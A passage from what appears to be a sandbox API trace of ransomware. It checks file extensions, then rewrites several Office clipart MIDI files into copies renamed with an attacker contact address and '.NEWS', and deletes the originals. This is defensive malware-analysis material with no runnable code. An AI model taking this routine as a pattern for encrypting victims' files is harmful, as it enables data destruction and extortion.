lpString2="1.MID") returned -1 [0168.309] lstrlenW (lpString=".ppt") returned 4 [0168.309] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.309] lstrlenW (lpString=".zip") returned 4 [0168.309] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.309] lstrlenW (lpString=".rar") returned 4 [0168.309] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.309] lstrlenW (lpString=".bz2") returned 4 [0168.309] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.309] lstrlenW (lpString=".7z") returned 3 [0168.309] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.309] lstrlenW (lpString=".dbf") returned 4 [0168.309] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.309] lstrlenW (lpString=".1cd") returned 4 [0168.309] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_01.MID") returned 68 [0168.309] lstrlenW (lpString=".jpg") returned 4 [0168.309] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.310] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.310] lstrlenW (lpString="PARNT_03.MID") returned 12 [0168.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0168.343] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=8538) returned 1 [0168.343] CloseHandle (hObject=0x4f0) returned 1 [0168.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 0x220 [0168.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0168.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0168.344] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.344] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x478 [0168.345] GetLastError () returned 0x0 [0168.345] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x215a, lpOverlapped=0x0) returned 1 [0168.869] WriteFile (in: hFile=0x478, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x2160, lpOverlapped=0x0) returned 1 [0168.870] ReadFile (in: hFile=0x4f0, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.870] WriteFile (in: hFile=0x478, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.870] SetEndOfFile (hFile=0x478) returned 1 [0168.871] CloseHandle (hObject=0x478) returned 1 [0168.871] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.871] SetEndOfFile (hFile=0x4f0) returned 1 [0168.874] CloseHandle (hObject=0x4f0) returned 1 [0168.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0168.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_03.mid")) returned 1 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.875] lstrlenW (lpString=".doc") returned 4 [0168.875] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.875] lstrlenW (lpString=".docx") returned 5 [0168.875] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0168.875] lstrlenW (lpString=".pdf") returned 4 [0168.875] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.875] lstrlenW (lpString=".xls") returned 4 [0168.875] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.875] lstrlenW (lpString=".xlsx") returned 5 [0168.876] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0168.876] lstrlenW (lpString=".ppt") returned 4 [0168.876] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.876] lstrlenW (lpString=".zip") returned 4 [0168.876] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.876] lstrlenW (lpString=".rar") returned 4 [0168.876] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.876] lstrlenW (lpString=".bz2") returned 4 [0168.876] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.876] lstrlenW (lpString=".7z") returned 3 [0168.876] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.876] lstrlenW (lpString=".dbf") returned 4 [0168.876] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.876] lstrlenW (lpString=".1cd") returned 4 [0168.876] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.876] lstrlenW (lpString=".jpg") returned 4 [0168.876] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.876] lstrlenW (lpString=".doc") returned 4 [0168.876] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0168.876] lstrlenW (lpString=".docx") returned 5 [0168.876] lstrcmpiW (lpString1=".docx", lpString2="3.MID") returned -1 [0168.876] lstrlenW (lpString=".pdf") returned 4 [0168.876] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0168.876] lstrlenW (lpString=".xls") returned 4 [0168.876] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0168.876] lstrlenW (lpString=".xlsx") returned 5 [0168.876] lstrcmpiW (lpString1=".xlsx", lpString2="3.MID") returned -1 [0168.876] lstrlenW (lpString=".ppt") returned 4 [0168.876] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0168.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.877] lstrlenW (lpString=".zip") returned 4 [0168.877] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0168.877] lstrlenW (lpString=".rar") returned 4 [0168.877] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0168.877] lstrlenW (lpString=".bz2") returned 4 [0168.877] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0168.877] lstrlenW (lpString=".7z") returned 3 [0168.877] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.877] lstrlenW (lpString=".dbf") returned 4 [0168.877] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.877] lstrlenW (lpString=".1cd") returned 4 [0168.877] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0168.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 68 [0168.877] lstrlenW (lpString=".jpg") returned 4 [0168.877] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0168.877] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0168.877] lstrlenW (lpString="PARNT_08.MID") returned 12 [0168.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.136] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=7347) returned 1 [0169.136] CloseHandle (hObject=0x518) returned 1 [0169.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 0x220 [0169.136] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0169.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0169.136] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.136] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.136] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0170.480] GetLastError () returned 0x0 [0170.480] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x1cb3, lpOverlapped=0x0) returned 1 [0170.510] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1cc0, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1cc0, lpOverlapped=0x0) returned 1 [0170.510] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.511] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xec, lpOverlapped=0x0) returned 1 [0170.511] SetEndOfFile (hFile=0x4dc) returned 1 [0170.511] CloseHandle (hObject=0x4dc) returned 1 [0170.511] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.511] SetEndOfFile (hFile=0x518) returned 1 [0170.545] CloseHandle (hObject=0x518) returned 1 [0170.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0170.546] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\parnt_08.mid")) returned 1 [0170.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.547] lstrlenW (lpString=".doc") returned 4 [0170.547] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.547] lstrlenW (lpString=".docx") returned 5 [0170.547] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0170.547] lstrlenW (lpString=".pdf") returned 4 [0170.547] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.547] lstrlenW (lpString=".xls") returned 4 [0170.547] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.547] lstrlenW (lpString=".xlsx") returned 5 [0170.547] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0170.547] lstrlenW (lpString=".ppt") returned 4 [0170.547] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.547] lstrlenW (lpString=".zip") returned 4 [0170.547] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.547] lstrlenW (lpString=".rar") returned 4 [0170.547] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.547] lstrlenW (lpString=".bz2") returned 4 [0170.547] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.547] lstrlenW (lpString=".7z") returned 3 [0170.547] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.547] lstrlenW (lpString=".dbf") returned 4 [0170.547] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".1cd") returned 4 [0170.548] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".jpg") returned 4 [0170.548] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".doc") returned 4 [0170.548] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0170.548] lstrlenW (lpString=".docx") returned 5 [0170.548] lstrcmpiW (lpString1=".docx", lpString2="8.MID") returned -1 [0170.548] lstrlenW (lpString=".pdf") returned 4 [0170.548] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0170.548] lstrlenW (lpString=".xls") returned 4 [0170.548] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0170.548] lstrlenW (lpString=".xlsx") returned 5 [0170.548] lstrcmpiW (lpString1=".xlsx", lpString2="8.MID") returned -1 [0170.548] lstrlenW (lpString=".ppt") returned 4 [0170.548] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".zip") returned 4 [0170.548] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0170.548] lstrlenW (lpString=".rar") returned 4 [0170.548] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0170.548] lstrlenW (lpString=".bz2") returned 4 [0170.548] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0170.548] lstrlenW (lpString=".7z") returned 3 [0170.548] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".dbf") returned 4 [0170.548] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".1cd") returned 4 [0170.548] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0170.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 68 [0170.548] lstrlenW (lpString=".jpg") returned 4 [0170.549] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0170.549] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0170.549] lstrlenW (lpString="SHOW_01.MID") returned 11 [0170.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0170.550] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=6392) returned 1 [0170.550] CloseHandle (hObject=0x518) returned 1 [0170.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 0x220 [0170.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0170.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0170.550] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.550] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0170.551] GetLastError () returned 0x0 [0170.551] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x18f8, lpOverlapped=0x0) returned 1 [0170.780] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0x1900, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0x1900, lpOverlapped=0x0) returned 1 [0170.781] ReadFile (in: hFile=0x518, lpBuffer=0x3d73020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesRead=0x335fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.781] WriteFile (in: hFile=0x4dc, lpBuffer=0x3d73020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d73020*, lpNumberOfBytesWritten=0x335fc94*=0xea, lpOverlapped=0x0) returned 1 [0170.781] SetEndOfFile (hFile=0x4dc) returned 1 [0171.250] CloseHandle (hObject=0x4dc) returned 1 [0171.250] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.250] SetEndOfFile (hFile=0x518) returned 1 [0171.283] CloseHandle (hObject=0x518) returned 1 [0171.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.283] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\show_01.mid")) returned 1 [0171.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.284] lstrlenW (lpString=".doc") returned 4 [0171.284] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.284] lstrlenW (lpString=".docx") returned 5 [0171.284] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.284] lstrlenW (lpString=".pdf") returned 4 [0171.284] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.284] lstrlenW (lpString=".xls") returned 4 [0171.284] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.284] lstrlenW (lpString=".xlsx") returned 5 [0171.285] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.285] lstrlenW (lpString=".ppt") returned 4 [0171.285] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.285] lstrlenW (lpString=".zip") returned 4 [0171.285] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.285] lstrlenW (lpString=".rar") returned 4 [0171.285] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.285] lstrlenW (lpString=".bz2") returned 4 [0171.285] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0171.285] lstrlenW (lpString=".7z") returned 3 [0171.285] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.285] lstrlenW (lpString=".dbf") returned 4 [0171.285] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.285] lstrlenW (lpString=".1cd") returned 4 [0171.285] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.285] lstrlenW (lpString=".jpg") returned 4 [0171.285] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.285] lstrlenW (lpString=".doc") returned 4 [0171.285] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0171.285] lstrlenW (lpString=".docx") returned 5 [0171.285] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0171.285] lstrlenW (lpString=".pdf") returned 4 [0171.285] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0171.285] lstrlenW (lpString=".xls") returned 4 [0171.285] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0171.285] lstrlenW (lpString=".xlsx") returned 5 [0171.285] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0171.285] lstrlenW (lpString=".ppt") returned 4 [0171.286] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0171.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SHOW_01.MID") returned 67 [0171.286] lstrlenW (lpString=".zip") returned 4 [0171.286] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0171.286] lstrlenW (lpString=".rar") returned 4 [0171.286] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0171.286] lstrlenW (lpString=".bz2") returned 4 [0171.286] lstrcmpiW (lpString1=".bz2", 